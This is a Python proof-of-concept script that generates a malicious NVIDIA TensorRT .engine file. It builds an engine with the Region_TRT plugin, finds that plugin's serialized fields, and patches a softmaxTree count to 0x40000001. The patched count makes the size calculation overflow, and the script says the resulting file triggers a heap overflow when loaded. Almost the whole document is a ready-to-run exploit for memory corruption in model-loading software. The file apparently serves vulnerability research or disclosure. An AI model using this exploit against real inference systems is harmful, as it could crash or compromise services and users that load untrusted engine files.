"""
TensorRT Malicious .engine PoC Generator
Run inside NVIDIA TensorRT Docker container:
  docker run --gpus all -it --rm -v $PWD:/workspace nvcr.io/nvidia/tensorrt:24.12-py3 bash
  python3 /workspace/docker_build_engine.py
"""
import struct, sys

import tensorrt as trt
print(f"[+] TensorRT {trt.__version__}")

# ---- Step 1: Find Region_TRT plugin ----
region_creator = None
for c in trt.get_plugin_registry().all_creators:
    if c.name == "Region_TRT":
        region_creator = c
        break

if not region_creator:
    print("[-] Region_TRT not found. Available:")
    for c in trt.get_plugin_registry().all_creators:
        print(f"    {c.name}")
    sys.exit(1)
print("[+] Region_TRT found")

# ---- Step 2: Build minimal engine ----
logger = trt.Logger(trt.Logger.INFO)
builder = trt.Builder(logger)
network = builder.create_network(
    1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH))
config = builder.create_builder_config()
config.set_memory_pool_limit(trt.MemoryPoolType.WORKSPACE, 1 << 24)

fields = trt.PluginFieldCollection([
    trt.PluginField("num", memoryview(struct.pack("i", 5)),
                     trt.PluginFieldType.INT32),
    trt.PluginField("classes", memoryview(struct.pack("i", 80)),
                     trt.PluginFieldType.INT32),
    trt.PluginField("coords", memoryview(struct.pack("i", 4)),
                     trt.PluginFieldType.INT32),
])
plugin = region_creator.create_plugin("region", fields)

# 425 = num * (classes + coords + 1) = 5 * (80 + 4 + 1)
inp = network.add_input("input", trt.float32, (1, 425, 13, 13))
layer = network.add_plugin_v2([inp], plugin)
layer.get_output(0).name = "output"
network.mark_output(layer.get_output(0))

print("[*] Building engine...")
serialized = builder.build_serialized_network(network, config)
assert serialized, "Build failed!"
engine_data = bytearray(memoryview(serialized))
print(f"[+] Engine built: {len(engine_data)} bytes")

with open("/workspace/original_region.engine", "wb") as f:
    f.write(engine_data)
print("[+] Saved original_region.engine")

# ---- Step 3: Find and patch Region plugin data ----
# Region serializes: C(i32) H(i32) W(i32) num(i32) classes(i32) coords(i32)
# We search for num=5, classes=80, coords=4 pattern
target = struct.pack("<3i", 5, 80, 4)
patch_offset = None

for i in range(len(engine_data) - len(target)):
    if engine_data[i:i+len(target)] == target:
        if i >= 12:
            c, h, w = struct.unpack_from("<3i", engine_data, i - 12)
            if 0 < c < 10000 and 0 < h < 10000 and 0 < w < 10000:
                patch_offset = i - 12
                print(f"[+] Region data at offset 0x{patch_offset:x}")
                print(f"    C={c} H={h} W={w} num=5 classes=80 coords=4")
                break

if patch_offset is None:
    # Broader search: just look for the 5,80,4 pattern
    print("[-] Exact pattern not found, trying broader search...")
    for i in range(len(engine_data) - len(target)):
        if engine_data[i:i+len(target)] == target:
            print(f"    Candidate at 0x{i:x}: context={engine_data[max(0,i-16):i+16].hex()}")
    sys.exit(1)

# Layout after 6 int32s (24 bytes): 8 bool flags, then softmaxTree data
flags_off = patch_offset + 24  # offset of softmaxTreePresent
n_off = flags_off + 8          # offset of smTreeTemp->n (after 8 bools)

print(f"    Current flags: {list(engine_data[flags_off:flags_off+8])}")

# Set softmaxTreePresent=1, leafPresent=1
engine_data[flags_off] = 1      # softmaxTreePresent = true
engine_data[flags_off + 1] = 1  # leafPresent = true
for j in range(2, 8):
    engine_data[flags_off + j] = 0

# Patch n to trigger integer overflow: n * sizeof(int32_t) overflows
MALICIOUS_N = 0x40000001  # 0x40000001 * 4 = 0x100000004 -> truncated to 0x4
struct.pack_into("<i", engine_data, n_off, MALICIOUS_N)
print(f"[+] Patched n = 0x{MALICIOUS_N:08x} at offset 0x{n_off:x}")

# Append fake leaf data (won't all fit but enough for format)
engine_data.extend(struct.pack("<i", 0x41414141) * 256)

with open("/workspace/malicious_region.engine", "wb") as f:
    f.write(engine_data)
print(f"[+] Saved malicious_region.engine ({len(engine_data)} bytes)")
print("\n=== SUCCESS ===")
print("Files in /workspace/:")
print("  original_region.engine  - valid engine")
print("  malicious_region.engine - triggers heap overflow")
print("\nTo verify crash:")
print("  trtexec --loadEngine=/workspace/malicious_region.engine")